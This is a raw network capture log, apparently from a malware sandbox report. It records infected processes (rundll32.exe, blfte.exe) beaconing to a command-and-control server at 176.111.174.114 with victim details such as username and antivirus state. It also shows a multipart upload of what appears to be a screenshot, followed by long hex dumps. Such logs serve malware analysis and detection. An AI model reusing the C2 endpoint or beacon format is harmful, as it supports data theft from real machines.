Apr 28, 2021 23:23:27.526065111 CEST	8896	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.2.5	49954	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:27.734416008 CEST	8897	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	176.111.174.114	80	192.168.2.5	49954	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:27.834666014 CEST	8897	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
408	192.168.2.5	49955	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:28.044203997 CEST	8898	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	176.111.174.114	80	192.168.2.5	49955	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:28.145376921 CEST	8898	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	176.111.174.114	80	192.168.2.5	49731	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:29.848690033 CEST	1584	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.2.5	49956	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:28.361458063 CEST	8899	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	176.111.174.114	80	192.168.2.5	49956	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:28.468310118 CEST	8899	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.2.5	49957	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:28.688282013 CEST	8900	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	176.111.174.114	80	192.168.2.5	49957	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:28.787620068 CEST	8901	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.2.5	49958	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:28.999339104 CEST	8901	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.2.5	49959	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.048799992 CEST	8915	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:29.149230003 CEST	8918	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:29.150005102 CEST	8920	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:29.150029898 CEST	8923	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:29.150273085 CEST	8926	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:29.150587082 CEST	8928	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:29.150847912 CEST	8931	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:29.151119947 CEST	8934	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:29.151314974 CEST	8937	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:29.151597023 CEST	8942	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:29.251610994 CEST	8945	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
